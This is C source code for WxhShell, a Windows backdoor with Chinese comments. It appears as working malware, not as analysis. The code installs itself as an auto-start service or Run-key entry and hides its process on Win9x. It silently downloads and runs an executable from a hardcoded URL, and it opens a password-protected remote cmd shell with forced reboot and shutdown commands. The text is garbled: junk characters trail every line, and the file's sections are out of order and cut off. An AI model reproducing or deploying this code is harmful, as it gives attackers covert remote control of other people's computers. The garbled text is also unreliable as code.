    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I?Z"YR+MQ  
    if(Boot(SHUTDOWN)) ,el[A`b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W$`#X  
    else { h%NM%;"H/  
    closesocket(wsh); "@|rU4Y  
    ExitThread(0); t;-F]  
    } X[f)0w%  
    break; ~B? Wg!  
    } 2$`Y 4b3t  
  // 获取shell zL3zvOhu}  
  case 's': { SoHaGQox  
    CmdShell(wsh); k*!iUz{]  
    closesocket(wsh); 6eA)d#  
    ExitThread(0); I6gduvkXi4  
    break; YpRhl(|  
  } GV28&!4sS  
  // 退出 UX<)hvKj  
  case 'x': { pf+VYZ#)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tkkh<5{C   
    CloseIt(wsh); r. (}  
    break; 7$t['2j3  
    } z.?slYe[  
  // 离开 #0\* 8 6  
  case 'q': { k#7A@Vb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); euW   
    closesocket(wsh); ;t,v/(/3  
    WSACleanup(); N9y+P sh  
    exit(1); W-Vc6cq  
    break; K5t.OAA:  
        } Fs(S!;  
  } "dE[X` }=  
  } 8?x:PkK  
pYu6[  
  // 提示信息 /L5:/Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q_mxZM ->  
} jzZ]+'t  
  } 8OO[Le]1  
U0srwt97S  
  return; &\Lu}t7Ru  
} ZLPj1L  
c@)?V>oe  
// shell模块句柄 &%8IBT  
int CmdShell(SOCKET sock) }$r]\v  
{ N93R(x)%  
STARTUPINFO si; xU6dRjYhH9  
ZeroMemory(&si,sizeof(si)); TeO'E<@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kHhku!CH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^U96p0H"T  
PROCESS_INFORMATION ProcessInfo; I0=L_&`)  
char cmdline[]="cmd"; t}?-ao  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bR~5 :A^  
  return 0; o;#8=q  
} 3K/ 'K[~  
,"{e$|iY  
// 自身启动模式 V<;_wO^  
int StartFromService(void) 0IA' 5)  
{ L/I ] NA!U  
typedef struct [TFp2B~)#  
{ 8lS RK%  
  DWORD ExitStatus; wzJdS}Yy!y  
  DWORD PebBaseAddress; n2Mpo\2  
  DWORD AffinityMask; pG"h ZB3)  
  DWORD BasePriority; AZA5>Y  
  ULONG UniqueProcessId; @$ lX%p>  
  ULONG InheritedFromUniqueProcessId; Q9B!0G.-bs  
}   PROCESS_BASIC_INFORMATION; V0&7MY*  
01uj-!D$@  
PROCNTQSIP NtQueryInformationProcess; 'Ffvd{+:8  
7~'%ThUb$-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LnN:;h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B., BP  
s0/m qZ]s  
  HANDLE             hProcess; 2tCw{Om*  
  PROCESS_BASIC_INFORMATION pbi; C8)Paop$  
Aayd3Ph0%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1$6 u  
  if(NULL == hInst ) return 0; MpvGF7H  
_@gg,2 u-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _x#y   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bAuiMw7!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V[kn'QkWv  
0uPcEpIA  
  if (!NtQueryInformationProcess) return 0; +7n vy^m  
pGy k61  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *yo'Nqu  
  if(!hProcess) return 0; -yg;,nCg  
 yOvV"x]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DIWyv-  
,j\uvi(Y  
  CloseHandle(hProcess); s*Z yr%R  
O, :|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4mEJu  
if(hProcess==NULL) return 0; Gm=&[?}  
l @@pXg3  
HMODULE hMod; Qz%q#4Zb  
char procName[255]; Zr A*MN  
unsigned long cbNeeded; (x.qyYEoI  
6Yt3Oq<U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NLYf   
x2aG5@<3  
  CloseHandle(hProcess); Gl45HyY_  
I,,SR"  
if(strstr(procName,"services")) return 1; // 以服务启动 aRI.&3-  
XFl&(I4tB  
  return 0; // 注册表启动 :?m"kh ~  
} C=U4z|Ym  
@,6*yyO  
// 主模块 "{H{-`Ni  
int StartWxhshell(LPSTR lpCmdLine) 4gdXO  
{ ~| ZAS]  
  SOCKET wsl; ,H mGp  
BOOL val=TRUE; O#C0~U]dDW  
  int port=0; m39.j:BG5  
  struct sockaddr_in door; 2Dvq3VbiO"  
O&~ @ior  
  if(wscfg.ws_autoins) Install(); zcH"Kh&  
R%)F9P$o  
port=atoi(lpCmdLine); ^8 -,S[az  
f;l}Z|dok6  
if(port<=0) port=wscfg.ws_port; wN/v-^2  
DAORfFG74  
  WSADATA data; u(? U[pe[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bJR\d0Z  
GkU$Z @  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zp6VH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eWD!/yr|  
  door.sin_family = AF_INET; /l3Oi@\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gi$\th,  
  door.sin_port = htons(port); KZ^>_K&  
wc"~8Ah  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }j2t8B^&:  
closesocket(wsl); D;+Y0B  
return 1; {Dy,|}7s  
} Az#kE.8b*A  
-;qK_x  
  if(listen(wsl,2) == INVALID_SOCKET) { p-rQ'e  
closesocket(wsl); [C~N#S[]  
return 1; ",,.xLI7  
} Q^l!cL| {  
  Wxhshell(wsl); Ah5o>ZtcO  
  WSACleanup(); T-kHk(  
w-v8 P`V  
return 0; 1<lf o^B  
2\+N<-(F5  
} 2.v`J=R  
)-}<}< oO  
// 以NT服务方式启动 hjk]?MC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,kYX|8SO  
{ bu \(KR$s  
DWORD   status = 0; EqIs&){  
  DWORD   specificError = 0xfffffff; -qpM 6t  
'%*hs8s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6Iz!_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pI>GusXg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \Ov~ t  
  serviceStatus.dwWin32ExitCode     = 0; c5O8,sT  
  serviceStatus.dwServiceSpecificExitCode = 0; kXUJlLod  
  serviceStatus.dwCheckPoint       = 0; F* Yx1vj  
  serviceStatus.dwWaitHint       = 0;  dBN:  
{`J!DFfur  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (r}StR+  
  if (hServiceStatusHandle==0) return; $`t2SD  
+#(GU9_i+M  
status = GetLastError(); )fS6H<*  
  if (status!=NO_ERROR) EKsOj&ZiJ  
{ o@aXzF2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PG|Zu3[  
    serviceStatus.dwCheckPoint       = 0; Py+ B 2G|  
    serviceStatus.dwWaitHint       = 0; q$}J/w(,  
    serviceStatus.dwWin32ExitCode     = status; u3 &# UN  
    serviceStatus.dwServiceSpecificExitCode = specificError; =_Z.x&fi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '9<8<d7?  
    return; +G7[(Wz(z  
  } ,5 3`t  
j0 Os]a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 19oyoi"  
  serviceStatus.dwCheckPoint       = 0; d+ $:u  
  serviceStatus.dwWaitHint       = 0; uz=9L<$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HoWK# Nz\  
} `G*fx=N  
MD,BGO?C  
// 处理NT服务事件,比如:启动、停止 9j5Z!Vsy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b#t5Dve  
{ XQ}7.u!  
switch(fdwControl) NPa4I7`A  
{ U56g|V  
case SERVICE_CONTROL_STOP: r(n>N0:0Ls  
  serviceStatus.dwWin32ExitCode = 0; v6=X]Ji{YA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k>!i _lb  
  serviceStatus.dwCheckPoint   = 0; rploQF~OFF  
  serviceStatus.dwWaitHint     = 0; ^HI2Vp  
  { 20J-VN:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G1ruF8  
  } !I91kJt7  
  return; 0YoV`D,U  
case SERVICE_CONTROL_PAUSE: '^_^o)0gp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tBsvi%F  
  break; ^ ~Tn[w W_  
case SERVICE_CONTROL_CONTINUE: ;vpq0t`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W}(T5D" 3x  
  break; =~)rT8+)  
case SERVICE_CONTROL_INTERROGATE: -G=.3 bux  
  break; Y2g%{keo  
}; QNXS.!\P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZHoYnp-~z  
} ,&Zk63V  
U2Ky4UFm  
// 标准应用程序主函数 .&>3nu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >f|0# *  
{ {5+69&:G.  
u{l4O1k/c  
// 获取操作系统版本 UCTc$3  
OsIsNt=GetOsVer(); 1$m{)Io2(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2) 2:KX  
UvqnNA  
  // 从命令行安装 Zl]@;*u  
  if(strpbrk(lpCmdLine,"iI")) Install(); E2S#REB4  
F2)KAIl  
  // 下载执行文件 9u3P>a~b  
if(wscfg.ws_downexe) { -|=)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -`t9@1P> =  
  WinExec(wscfg.ws_filenam,SW_HIDE); e?]HNy  
} Az>r}*F Gr  
`P*wZKlW  
if(!OsIsNt) { T[cJ   
// 如果时win9x,隐藏进程并且设置为注册表启动 BcQw-<veu  
HideProc(); X%7l! k[  
StartWxhshell(lpCmdLine); RYl\Q,#  
} `\=~ $&vjC  
else ~!%G2E!  
  if(StartFromService()) <si cldz  
  // 以服务方式启动 k6\&[BQs  
  StartServiceCtrlDispatcher(DispatchTable); Pt6d5EIG  
else 6eNBldP!  
  // 普通方式启动 rQPO+  
  StartWxhshell(lpCmdLine); zMO xJ   
]2[\E~^KU  
return 0; [V5,1dmkI  
} =xb/zu(  
/7-FVqDx8  
`)BZk[64  
9wdX#=I  
=========================================== 0p\Kf(|E*6  
IZd~Am3f  
sLK$H|%>m  
Kc>Rd  
\vW'\}  
{L M Q  
" )"E1/$*k  
%GMCyT  
#include <stdio.h> zYftgH_o  
#include <string.h> +)_DaL E  
#include <windows.h> :8?l=B9("g  
#include <winsock2.h> CXi:?6OG  
#include <winsvc.h> f\Q_]%^W  
#include <urlmon.h> )|Ka'\xr  
kn&BGYt  
#pragma comment (lib, "Ws2_32.lib") N[yS heT  
#pragma comment (lib, "urlmon.lib") Qv8 =CnuOT  
W{ZJ^QAq/  
#define MAX_USER   100 // 最大客户端连接数 C2DAsSw  
#define BUF_SOCK   200 // sock buffer GAh\ 6ul  
#define KEY_BUFF   255 // 输入 buffer H8Z|gq1r  
$5Rx>$~+d  
#define REBOOT     0   // 重启 B? XK;*])  
#define SHUTDOWN   1   // 关机 oS_YQOoD  
C7&L9k~jf  
#define DEF_PORT   5000 // 监听端口 &.Yu%=}  
#X?E#^6?E  
#define REG_LEN     16   // 注册表键长度 ~ D/1U)kt  
#define SVC_LEN     80   // NT服务名长度 v <| iN#  
1Z_ H% (  
// 从dll定义API fvA167\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pE.TG4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r8o^8.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <anU#bEuQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^r{N^  
@CC 6 `D  
// wxhshell配置信息 Y{X%C\  
struct WSCFG { _) UnHp_^  
  int ws_port;         // 监听端口 CUaL  
  char ws_passstr[REG_LEN]; // 口令 $vn x)#r3  
  int ws_autoins;       // 安装标记, 1=yes 0=no #"[EVF0%1D  
  char ws_regname[REG_LEN]; // 注册表键名 \+C0Rv^^  
  char ws_svcname[REG_LEN]; // 服务名 R~RE21kAc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OA[fQH#{lX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >h(GmR*xM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * C*aH6*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  D28>e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q$}gQ9'z'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 71\GK  
OM@z5UP  
}; $ao7pvU6  
f{{J_""?&  
// default Wxhshell configuration C!Fi &~  
struct WSCFG wscfg={DEF_PORT, L#!m|_Mz  
    "xuhuanlingzhe", }%0X7'  
    1, _gl1Qtv@rf  
    "Wxhshell", r( zn1;zl  
    "Wxhshell", t&_X{!1X"w  
            "WxhShell Service", &(|x-OT  
    "Wrsky Windows CmdShell Service", U8<C4  
    "Please Input Your Password: ", s/P+?8'9  
  1, cSmy M~[  
  "http://www.wrsky.com/wxhshell.exe", iaRCV 6cl  
  "Wxhshell.exe" e&NJj:Ph*  
    }; GX*9R>  
j%8 1q  
// 消息定义模块 l}D /1~d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S&c5Q*->[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; " #w%sG^_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +IlQZwm~  
char *msg_ws_ext="\n\rExit.";  gq} c  
char *msg_ws_end="\n\rQuit."; IL"N_ux~w~  
char *msg_ws_boot="\n\rReboot..."; H,LJ$ py  
char *msg_ws_poff="\n\rShutdown..."; U~oGg$  
char *msg_ws_down="\n\rSave to "; 0*AXd=)"*  
9 {IDw   
char *msg_ws_err="\n\rErr!"; q&LCMnv"P  
char *msg_ws_ok="\n\rOK!"; r,P`$-  
NT9|``^Z  
char ExeFile[MAX_PATH]; mR8tW"Z2  
int nUser = 0; gE8>o:6)6:  
HANDLE handles[MAX_USER]; Qr?1\H:Lq  
int OsIsNt; 8cuI-Swz  
ENFM``dV#  
SERVICE_STATUS       serviceStatus; sR)jZpmC(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,MG`} *N}  
}R_Rw:W  
// 函数声明 *0<)PJ T  
int Install(void); F]s:`4  
int Uninstall(void); x1}Ono3"T  
int DownloadFile(char *sURL, SOCKET wsh); Uyd'uC  
int Boot(int flag); F;BCSoO4  
void HideProc(void); ,}wFQ9*|W  
int GetOsVer(void); ^S!;snhn  
int Wxhshell(SOCKET wsl); xRq A^Ad  
void TalkWithClient(void *cs); M6].V*k'2  
int CmdShell(SOCKET sock); .sKfwcYu4  
int StartFromService(void); /+m2|Ij(  
int StartWxhshell(LPSTR lpCmdLine); Jw{ duM;]  
#RHt;SFx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6r`Xi&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4I*'(6 ,!  
+M<W8KF  
// 数据结构和表定义 'c3'eJ0  
SERVICE_TABLE_ENTRY DispatchTable[] = B|'}HBkP  
{ Tf('iZ2+  
{wscfg.ws_svcname, NTServiceMain}, wNmC1HOh  
{NULL, NULL} T>J ,kh  
}; #G=AD/z  
eL{$=Um  
// 自我安装 DD`DU^o<  
int Install(void) Gz(l~!n~a  
{ PM'2zP[*W  
  char svExeFile[MAX_PATH]; #)O^aac29  
  HKEY key; 1pjx8*!B  
  strcpy(svExeFile,ExeFile); !t\sg  
(/X ]9  
// 如果是win9x系统,修改注册表设为自启动 =J'Q%qN<Zd  
if(!OsIsNt) { t=fP^bJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :@-.whj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %.HLO.A  
  RegCloseKey(key); 5Sb-Bn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]ZNFrpq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z:1t vG  
  RegCloseKey(key); zV(aw~CbZ  
  return 0; F_4Et  
    } z";(0%  
  } W{~ y< `D  
} s^Xs*T@~h  
else { 9mjJC  
m7i(0jd +  
// 如果是NT以上系统,安装为系统服务 }{Ra5-PY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0f_A"K  
if (schSCManager!=0) kO$n0y5e  
{ `7[!bCl  
  SC_HANDLE schService = CreateService B![:fiR`  
  ( <qEBF`XP=  
  schSCManager, :[0)Uu{  
  wscfg.ws_svcname, .K`n;lVs  
  wscfg.ws_svcdisp, y9w,Su2  
  SERVICE_ALL_ACCESS, X8A.ag0Uu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c c/nzB  
  SERVICE_AUTO_START, [70 5[  
  SERVICE_ERROR_NORMAL, 1aUg({  
  svExeFile, b~@+6 ?  
  NULL, +@*>N;$  
  NULL, cvhwd\  
  NULL, ?Mn~XN4F_  
  NULL, +wQ}ZP&  
  NULL 2b-g`60<  
  ); u6| IKZ  
  if (schService!=0) 4;eD}g  
  { JAT%s %UC  
  CloseServiceHandle(schService); @AK&R~<  
  CloseServiceHandle(schSCManager); @]p {%"$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =K}T; c  
  strcat(svExeFile,wscfg.ws_svcname); PZlPC#E-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bm4Bq>*=U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kE|x'(x  
  RegCloseKey(key); T8Q_JQ  
  return 0; Hi*|f!,H?  
    } B]E c  
  } #^R@EZ  
  CloseServiceHandle(schSCManager); ;zV<63tW  
} uX]]wj-R3  
} <K,X5ctM}  
eZ-fy,E  
return 1; kk4+>mk  
} w.#z>4#3-  
*'\HG  
// 自我卸载 G?61P[j7  
int Uninstall(void) {FS)f  
{ #;?/fZjY  
  HKEY key; [x]~G  
Ih4$MG6QC  
if(!OsIsNt) { P"]l/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gGx(mX._L?  
  RegDeleteValue(key,wscfg.ws_regname); {J,4g:4G  
  RegCloseKey(key); t1yOAbI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )VqPaKZl  
  RegDeleteValue(key,wscfg.ws_regname); E'5KJn;_7  
  RegCloseKey(key); 3d4A~!Iz  
  return 0; O'{kNr{u  
  } lnLy"f"zV  
} e4tC[6;  
} t%0c$c  
else { Lo5pn  
USHQwn)%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )jg*u}u 0  
if (schSCManager!=0) foL4s;2  
{ qywl G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -Dy<B  
  if (schService!=0) o4Cq  /K  
  { WWH<s%C  
  if(DeleteService(schService)!=0) { NffKK:HvBB  
  CloseServiceHandle(schService); p<}y'7(  
  CloseServiceHandle(schSCManager); ,v#n\LD`  
  return 0; dUl"w`3  
  } kqxq'Aq)d  
  CloseServiceHandle(schService); @^  *62  
  } X%kJ3{  
  CloseServiceHandle(schSCManager); sUK|*y  
} 8#- Nx]VM  
} uXLZ!LJo  
%e3E}m>  
return 1; V0W4M%  
} V\opC6*L_e  
DS>&|zF5l  
// 从指定url下载文件 vqO#Z  
int DownloadFile(char *sURL, SOCKET wsh) dNF_ T?E\  
{ `'k2gq&  
  HRESULT hr;  N&kUTSd  
char seps[]= "/"; * fj`+J  
char *token; uOy/c 8`  
char *file; v?}0h5  
char myURL[MAX_PATH]; $xq04ejJ  
char myFILE[MAX_PATH]; OLm@-I*  
n;$u%2t2  
strcpy(myURL,sURL); yWE\)]9  
  token=strtok(myURL,seps); D .LR-Z  
  while(token!=NULL) [@8po-()L  
  { kWy@wPqms  
    file=token; b-#lKW so  
  token=strtok(NULL,seps); D6+3f #k6  
  } "5O>egt  
CR%h$+dzy  
GetCurrentDirectory(MAX_PATH,myFILE); $Bl51Vj N  
strcat(myFILE, "\\"); UnYb}rF#%  
strcat(myFILE, file); O>a1S*mxP  
  send(wsh,myFILE,strlen(myFILE),0); ccPWfy_  
send(wsh,"...",3,0); jm@M"b'{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D!/ 4u0m  
  if(hr==S_OK) /h.{g0Xc  
return 0; xpo^\E?2  
else #62ThH~  
return 1; hsS&|7Pt  
b6sf1E  
} &}7R\co3  
r jxkgd  
// 系统电源模块 B8n[ E  
int Boot(int flag) N5ZO pRH{  
{ 1_v\G   
  HANDLE hToken; _z{9V7n4  
  TOKEN_PRIVILEGES tkp; q(^iT~}  
_KxR~k^  
  if(OsIsNt) { I"x|U[*B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /j4G}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mx`';z8~  
    tkp.PrivilegeCount = 1; aX6}:"R2C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;' vkF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2nCc(F&+?  
if(flag==REBOOT) { XM*5I 4V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vM5/KrW  
  return 0; e@TwZ6l  
} "J2q|@.  
else { 5B2p_$W#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jgG9?w)|u  
  return 0; 8F`8=L NO  
} q*` m%3{  
  } qQG? k~r  
  else { ~u2f`67{  
if(flag==REBOOT) { n*na6rV\k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fDfph7[)  
  return 0; a`#lYM%(>  
} ~9vK 6;0  
else { ujmIS~"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nqUnDnP2c  
  return 0; ~D4l64  
} j 4=iHnE;  
} eI2HTFyT  
9X;*GC;d  
return 1; PsXCpyY!s  
} FdzdoMY  
'ROz|iJ  
// win9x进程隐藏模块 ?Z?(ky!  
void HideProc(void) SlR//h  
{ ZAN~TG<n  
>(.|oT\Tb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7H{1i  
  if ( hKernel != NULL ) jG;J qT  
  { {cIk-nG -_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,(K-;Id4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0;">ETh=  
    FreeLibrary(hKernel); at@tS>Dv  
  } Bl8|`R^g  
&?H$-r1/?V  
return; j=M%*`@  
} BSg T 6K  
?2Z`xL9QT  
// 获取操作系统版本 42"nbJ  
int GetOsVer(void) DgW@v[#BK=  
{ T@Izf X7  
  OSVERSIONINFO winfo; /(hTk&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,f:K)^yD  
  GetVersionEx(&winfo); xRXvTNEg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m[3c,Axl7  
  return 1; 83/m^^F{]  
  else d<Q%h?E  
  return 0; ]3f[v:JQ  
} &;P\e  
5  >0\=  
// 客户端句柄模块 KRT&]2  
int Wxhshell(SOCKET wsl) M 80Q6K  
{ pFNU~y'Kf  
  SOCKET wsh; NiW9/(;xB  
  struct sockaddr_in client; >uq0}HB$a  
  DWORD myID; \OFmd!Cz  
zm5Pl G  
  while(nUser<MAX_USER) EwFq1~  
{ `P !idg*  
  int nSize=sizeof(client); pInEB6L.P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q. O4R_H  
  if(wsh==INVALID_SOCKET) return 1; (Q% @]  
*P`wuXn}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !'F1Ht  
if(handles[nUser]==0) YF-E1`+?<  
  closesocket(wsh); sfn^R+x4,9  
else \ Voly  
  nUser++; 0q-lyVZ^X  
  } 7>O`UT<t4@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C{uT1`  
}kvix{  
  return 0; $ [fqTh  
} _&V,yp!|  
FVrB#Hw~  
// 关闭 socket nf"#F@dk  
void CloseIt(SOCKET wsh) +<[q"3  
{ uE9,N$\L_  
closesocket(wsh); 7R:Ij[dV  
nUser--; a<r,LE  
ExitThread(0); ez[x8M>  
} {._'Q[  
_%D7D~2r|  
// 客户端请求句柄 e8xq`:4Y  
void TalkWithClient(void *cs) <%uEWb)  
{ ?VE'!DW  
l_:P |  
  SOCKET wsh=(SOCKET)cs; Nr>UZlU8  
  char pwd[SVC_LEN]; L{F]uz_[x  
  char cmd[KEY_BUFF]; jwE=  
char chr[1]; <Y}m/-sD5  
int i,j; <zn)f@W  
Tt~[hC h  
  while (nUser < MAX_USER) { QA0uT{x90  
+39uKOrZ  
if(wscfg.ws_passstr) { zM&ro,W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :AztHf?X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Z\q)T  
  //ZeroMemory(pwd,KEY_BUFF); c8uw_6#r(D  
      i=0; 1[Yl8W%pj  
  while(i<SVC_LEN) { ?|W3RK;  
Bt@?l]Y  
  // 设置超时 zc)nDyn  
  fd_set FdRead; _p0Yhju?  
  struct timeval TimeOut; Evm3Sm!S  
  FD_ZERO(&FdRead); [=jZP,b&),  
  FD_SET(wsh,&FdRead); q%kCTw  
  TimeOut.tv_sec=8;  eu$VKLY*  
  TimeOut.tv_usec=0; 9 CZ@IFS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _^GBfM.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MjC<N[WO>N  
TCyev[(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o<!H/PN  
  pwd=chr[0]; T2w4D !  
  if(chr[0]==0xd || chr[0]==0xa) { ZOV,yuD{8{  
  pwd=0; zi6J|u  
  break; 6z U  
  } i:jXh9+  
  i++; "*X\'LPs=  
    } g{}<ptx]  
8el6z2  
  // 如果是非法用户,关闭 socket ^z)De+,!4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \HzmhQb+m  
} ~v2(sRJ  
Ep./->fOA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #?S"y:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A ~vx,|I  
e Fz$h2*B  
while(1) { 4_QfM}Fyp  
C;JW \J~W  
  ZeroMemory(cmd,KEY_BUFF); #btf|\D  
T>nH=  
      // 自动支持客户端 telnet标准   1 PdG1'  
  j=0; +\_\53  
  while(j<KEY_BUFF) { BE@(| U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {z 5YJ*C  
  cmd[j]=chr[0]; J{\Uw].|0  
  if(chr[0]==0xa || chr[0]==0xd) { q6-o!>dLQ  
  cmd[j]=0; A? B +  
  break; +0%r@hTv&>  
  } 56s%Qlgx  
  j++; )JTQZ,f3]  
    } ZJ2 MbV.6  
Het"x  
  // 下载文件 oA-,>:}g{  
  if(strstr(cmd,"http://")) { R~a9}&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o#wly%i')  
  if(DownloadFile(cmd,wsh)) (y!bvp[" m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :B5*?x  
  else v^o`+~i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D^%IFwU^  
